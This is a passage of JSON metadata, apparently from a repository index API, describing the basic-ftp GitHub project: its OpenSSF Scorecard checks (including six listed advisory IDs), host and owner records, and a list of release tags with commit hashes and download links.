ts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/sbom","scorecard":{"id":722332,"data":{"date":"2025-08-11","repo":{"name":"github.com/patrickjuchli/basic-ftp","commit":"22e4bf0529352d2b439bf0d694dcf2db6ac8f661"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.4,"checks":[{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql-analysis.yml:28","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql-analysis.yml:29","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Warn: no topLevel permission defined: .github/workflows/nodejs.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:57: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/nodejs.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/nodejs.yml/master?enable=pin","Info:   0 out of   6 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: MIT License: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"SAST","score":7,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 0 commits out of 2 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":4,"reason":"6 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-grv7-fg5c-xmjg","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-952p-6rrq-rcjv","Warn: Project is vulnerable to: GHSA-mwcw-c2x4-8c55","Warn: Project is vulnerable to: GHSA-76p7-773f-r4q5"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-22T11:44:33.931Z","repository_id":41537176,"created_at":"2025-08-22T11:44:33.931Z","updated_at":"2025-08-22T11:44:33.931Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36790533,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-20T02:00:06.210Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"patrickjuchli","name":"Patrick Juchli","uuid":"397839","kind":"user","description":"","email":"","website":"https://patrickjuchli.com/en/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/397839?u=435f3c32b05790049a8b7b70449871fdf7304e9d\u0026v=4","repositories_count":11,"last_synced_at":"2024-03-21T09:48:16.358Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/patrickjuchli","funding_links":[],"total_stars":650,"followers":null,"following":null,"created_at":"2022-11-09T05:27:07.222Z","updated_at":"2024-03-21T09:48:18.553Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli/repositories"},"tags":[{"name":"v6.2.0","sha":"a825fdca3cd3895e0535726a473e143fc2755291","kind":"commit","published_at":"2026-08-02T08:00:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.2.0/manifests"},{"name":"v6.1.0","sha":"e025e1d826a9948afb23ed5e7cde438dc8bd1bcd","kind":"commit","published_at":"2026-08-01T16:39:50.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.1.0/manifests"},{"name":"v6.0.2","sha":"4d608b9116c8d2674728953fd9a3adfb1ddd7b03","kind":"commit","published_at":"2026-07-25T09:17:48.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.2/manifests"},{"name":"v6.0.1","sha":"aab681b95e665d4940b131a8d23e2ae11d93f38b","kind":"commit","published_at":"2026-05-03T08:43:49.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.1/manifests"},{"name":"v6.0.0","sha":"b35e76082ffa5e787ccb83be08589f1d73e75969","kind":"commit","published_at":"2026-04-29T14:32:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.0/manifests"},{"name":"v5.3.1","sha":"980371bb6057d78d479b5cfc18683392abd2c45f","kind":"commit","published_at":"2026-04-27T20:38:46.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.1/manifests"},{"name":"v5.3.0","sha":"c9378a8ff73b96e89f17525266d648ce495286a6","kind":"commit","published_at":"2026-04-15T19:35:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.0/manifests"},{"name":"v5.2.2","sha":"e9d09d6815b300b73e1297cdcf91786a979ef212","kind":"commit","published_at":"2026-04-09T21:20:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.2/manifests"},{"name":"v5.2.1","sha":"ba40f9d60e1ff7b63de5d5bb272ae317e5382689","kind":"commit","published_at":"2026-04-08T15:29:53.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.1/manifests"},{"name":"v5.2.0","sha":"5d41e45073ed1a8a3b5e5a1bbfcd131e61295bf8","kind":"commit","published_at":"2026-02-23T08:13:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.0/manifests"},{"name":"v5.1.0","sha":"9da4af0e1f82fe372bedc1b7820f55c6eaf012e5","kind":"commit","published_at":"2025-12-26T21:24:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.1.0/manifests"},{"name":"v5.0.5","sha":"1c92a9438704585a80aeaaad3e060382a35edad3","kind":"commit","published_at":"2024-02-27T21:05:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.5/manifests"},{"name":"v5.0.4","sha":"80e27be5dc562e5e18fcb2889e21d9568917dc1c","kind":"commit","published_at":"2023-12-13T19:58:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.4/manifests"},{"name":"v5.0.3","sha":"aa83d68f8958c4cc2684d35b2f6724afa5904adc","kind":"commit","published_at":"2023-05-05T08:12:17.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.3/manifests"},{"name":"v5.0.2","sha":"6deecaf9f3aa0312c92ee96389c405b79311e862","kind":"commit","published_at":"2022-09-01T10:52:41.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.2/manifests"},{"name":"v5.0.1","sha":"864f57e62fde72572f79509f81d976145815b82d","kind":"commit","published_at":"2022-07-21T09:24:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.1/manifests"},{"name":"v5.0.0","sha":"9bd6aa772524cef2800db5a71169130d18983e80","kind":"commit","published_at":"2022-07-16T07:38:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.0/manifests"},{"name":"4.6.6","sha":"80b805759413d023cc6fb0b9ae12d7d0fe8d5e27","kind":"commit","published_at":"2021-03-27T17:46:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/4.6.6","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/4.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@4.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/4.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/4.6.6/manifests"},{"name":"v4.6.5","sha":"27444603def5a4a89653e11e9c6089783bbf7c82","kind":"commit","published_at":"2021-03-26T19:49:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.5/manifests"},{"name":"v4.6.4","sha":"4db4f4ae4f81433adb429f241ec26e2e43797e87","kind":"commit","published_at":"2021-03-24T21:02:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.4/manifests"},{"name":"v4.6.3","sha":"8ed3c24e56706a52653d862e61b57340dcbcb4e9","kind":"commit","published_at":"2020-10-31T08:15:36.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.3/manifests"},{"name":"v4.6.2","sha":"7dc31f9a1a4dd6720606fcbf6fbf13916d928be0","kind":"commit","published_at":"2020-07-03T07:18:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.2/manifests"},{"name":"v4.6.1","sha":"026db49d2212d0d9e99321545ecc19e74b957807","kind":"commit","published_at":"2020-06-07T05:14:19.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.1/manifests"},{"name":"v4.6.0","sha":"3bfec5f56b1393e0f2f02f8b2cc4406513bd2a4c","kind":"commit","published_at":"2020-06-06T17:50:33.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.0/manifests"},{"name":"v4.5.4","sha":"2c6ba44a284f4a0a6a1f1df98b7bbd7d5d62fdb5","kind":"tag","published_at":"2020-03-22T10:15:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.4/manifests"},{"name":"v4.5.3","sha":"f3ede38f6f0cec7761fb0c7db81ac30b5c91a5ff","kind":"tag","published_at":"2020-01-14T17:36:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.3/manifests"},{"name":"v4.5.2","sha":"dad3d226ec8454840a40c41f14225b2161e97615","kind":"tag","published_at":"2019-12-26T18:01:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.2/manifests"},{"name":"v4.5.1","sha":"1acb581dcaddc17596e780fe04628f730cbe5656","kind":"tag","published_at":"2019-11-07T17:12:40.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.1/manifests"},{"name":"v4.5.0","sha":"1e8a8144e8f0721321beac443f4f545f8ab47276","kind":"tag","published_at":"2019-11-06T13:56:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.0/manifests"},{"name":"v4.4.1","sha":"26a2f00ed82f17df6777fcbcb8aba295f7532cb7","kind":"tag","published_at":"2019-10-29T13:56:21.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/rep